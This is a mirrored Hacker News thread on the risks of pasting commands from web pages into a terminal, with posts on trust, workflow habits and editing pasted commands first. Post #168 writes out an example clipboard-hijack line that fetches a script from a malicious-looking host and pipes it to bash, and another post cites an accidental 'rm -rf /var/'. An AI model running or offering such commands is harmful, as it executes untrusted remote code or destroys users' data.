Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Don't copy paste from a website to a terminal

thejh.net

Post reply on HN
Print view View original

161–170 of 257 posts

Re: Don't copy paste from a website to a terminal

#161

Post by angelbob »

jacquesm wrote: post #79

So, ok. Don't copy and paste from a website to a terminal, I get it and I got it the last time that this kind of thing was posted. But if I look around I put so incredibly much trust in total strangers all the time that compared to say ordering a pizza (where the cook could put anything in the food they wanted), driving on the highway (where anybody could swerve any moment if they wanted) and simply walking down the…

Whereas I kinda assume the NSA is already using it, and that's one of the big reasons to care.

Re: Don't copy paste from a website to a terminal

#162

Post by collyw »

meric wrote: post #149
ChuckMcM wrote: post #147

Earlier quoted context omitted.

Not sure you will anything more than anecdotal evidence but the propensity of people I've interviewed to go to a site like Stack Overflow and cut/paste "solutions" into their shell or terminal is sadly quite large. I much prefer people who can internalize the core knowledge of their craft over those who are living with all their technical knowlege currently swapped out to the web.

I could never quite get those tar flags right and often have to `man tar`.

Thats normal (I think). Its one of those use "every 6 months" commands, once you get away from the usual tar -xzvf falgs.(Enough tiime to know it exists but too long to remember the actulay syntax).

Re: Don't copy paste from a website to a terminal

#163

Post by Pxtl »

Except that every help forum about the more idiosyncratic OSS tools is full of text you need to copy and paste from a website into a terminal. It's virtually the main workflow.

I mean, even venerable Git is well-known for having this workflow:

http://m.xkcd.org/1597/

not to mention tar

https://m.xkcd.com/1168/

... I wonder how many "google-oriented development" OSS tools has xkcd made a comic about?

Re: Don't copy paste from a website to a terminal

#164

Post by collyw »

jacquesm wrote: post #79

So, ok. Don't copy and paste from a website to a terminal, I get it and I got it the last time that this kind of thing was posted. But if I look around I put so incredibly much trust in total strangers all the time that compared to say ordering a pizza (where the cook could put anything in the food they wanted), driving on the highway (where anybody could swerve any moment if they wanted) and simply walking down the…

I love the pragmatic way you view stuff Jaques, it really show experience and a lack of vunerabiity to hype to me.

Re: Don't copy paste from a website to a terminal

#165

Post by collyw »

jacquesm wrote: post #79

So, ok. Don't copy and paste from a website to a terminal, I get it and I got it the last time that this kind of thing was posted. But if I look around I put so incredibly much trust in total strangers all the time that compared to say ordering a pizza (where the cook could put anything in the food they wanted), driving on the highway (where anybody could swerve any moment if they wanted) and simply walking down the…

I love the pragmatic way you view stuff Jaques, it really demonstrates experience and a lack of vunerabiity to hype to me.

Re: Don't copy paste from a website to a terminal

#166

Post by jacquesm »

vidarh wrote: post #148
jacquesm wrote: post #110

Earlier quoted context omitted.

I do that regardless because I'm super paranoid about stuff like this but I'm really wondering if I'm not taking it a bit too far. I've also yet to run into any kind of attempt to pull a stunt like this in a very long time of activity so I'm wondering what the actual incidence is.

I generally find it worth it for the simple risk that you may end up breaking stuff without anything malicious on behalf of the site. E.g. cut and paste a command and get a linebreak in the wrong location and the "rm -rf /var/tmp/foo" turns into "rm -rf /var/". Fun times. These days I'm more and more often just spinning up temporary containers as well. Not so much for security as to avoid making a mess of my environm…

> docker run --rm -t -i ubuntu -v /some/suitable/host/dir:/mnt /bin/bash -l

So is it safe to cut-and-paste that line there ;) ?

I type very fast but if I see a 100+ character line with a whole bunch of flags and what not the chances of introducing a fatality while re-typing it (was that / var or /var?) are quite large.

And of course anything that involves 'rm' or other nice and friendly commands gets an extra eyeball but at some point you have to decide to pull the trigger or not.

Re: Don't copy paste from a website to a terminal

#167

Post by mmagin »

chdir wrote: post #18

Should I consider my browser betraying me by selecting stuff that's outside the viewport without a hint / warning ? (absolute positioned element, (-100,-100)). It's simply too convenient to copy/paste from the browser. P.S. I have a paranoid habit of pasting copied text into the address bar or a notepad to quickly check for unwanted characters. For once, I don't feel like I'm crazy.

I think it's incredible that most of the comments here seem to accept or even defend that this is just the way things are, even explaining all the ways they work around it, rather than considering that this is a serious browser security issue and violates the idea that software should generally do what the user expects.

Re: Don't copy paste from a website to a terminal

#168

Post by koide »

ownagefool wrote: post #114
jacquesm wrote: post #79

So, ok. Don't copy and paste from a website to a terminal, I get it and I got it the last time that this kind of thing was posted. But if I look around I put so incredibly much trust in total strangers all the time that compared to say ordering a pizza (where the cook could put anything in the food they wanted), driving on the highway (where anybody could swerve any moment if they wanted) and simply walking down the…

The same argument applies for the following command. wget https://example.com/script.sh | bash If you trust the source, you might as well install it. Otherwise, we're basically arguing that everyone who has ever installed any non-distro software is an idiot. Consuming http or the connection dying and script ending early and being left in a weird state is probably a more interesting argument than the trust issue.

Well, you can combine the two approaches.

The text on the webpage reads

wget https://example.com/script.sh | bash

but when copied is actually

wget https://evilpile.com/script.sh | bash; echo wget https://example.com/script.sh \| bash

or whatnot.

Re: Don't copy paste from a website to a terminal

#169

Post by jacquesm »

collyw wrote: post #162
meric wrote: post #149

Earlier quoted context omitted.

I could never quite get those tar flags right and often have to `man tar`.

Thats normal (I think). Its one of those use "every 6 months" commands, once you get away from the usual tar -xzvf falgs.(Enough tiime to know it exists but too long to remember the actulay syntax).

Ditto rsync and the more obscure gcc stuff (though that usually ends up in makefiles rather than be typed in on the command line after trying it the first time).

Re: Don't copy paste from a website to a terminal

#170

Post by leejo »

ajmarsh wrote: post #22

I usually go web --> text editor --> terminal. It's a pain but, it works.

CTRL-X CTRL-E will take you into your editor[1] from the command line, where you can paste away and see/edit if necessary. Once you exit from the editor the commands that were entered will be run.

So (if vi): CTRL-X CTRL-E i CTRL-V[2] ESC :wq

[1] at least in bash, possibly others.

[2] or whatever your paste shortcut is, and then edit if necessary

Edit: seems this is also possible for zsh but needs some config first: http://nuclearsquid.com/writings/edit-long-commands/

Post reply on HN